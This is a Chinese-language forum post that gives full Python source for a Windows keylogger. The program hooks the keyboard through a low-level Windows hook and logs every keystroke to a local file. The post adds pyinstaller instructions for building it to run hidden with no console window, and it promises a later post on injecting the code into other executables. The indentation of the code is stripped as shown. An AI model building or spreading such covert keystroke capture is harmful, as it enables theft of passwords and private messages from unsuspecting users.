用户:
Eternal_Blue查看:0 回复:1 评论:0 创建时间:2022-08-10T19:01:09
源码:
import sys,os
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
with open(r"./type.txt","w") as s1:
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked):
if hooked is None:
return
user32.UnhookWindowsHookEx(hooked)
hooked = None
def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
#print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
#print("you can exit ! ")
s1.close()
#sys.exit(0)
os._exit(0)
capsLock = user32.GetKeyState(20)
# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
if lParam.contents.value==13:
s2 = "\n"
s1.write(s2)#print
#print(s2)
elif capsLock:
s3 = chr(lParam.contents.value)
s1.write(s3)#print
#print(s3)
else:
try:
s4 = chr(lParam.contents.value+32)
s1.write(s4)#print ,end=""
#print(s4)
except UnicodeEncodeError:
pass
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
if not hooked:
return False
return True
if __name__ == '__main__':
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
#print("Hook installed")
try:
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
except KeyboardInterrupt as kerror:
uninstallHookProc(hooked)
#print("Hook uninstall...")
s1.close()
else:
#print("Hook installed error")
pass
打包代码:(我用的是pyinstaller)
pyinstaller -F -w xxx.py
因为是后台运行,要加-w消除控制台
下篇帖子会讲如何让代码植入到其他的可执行文件中(因为作者还没测试)
#无语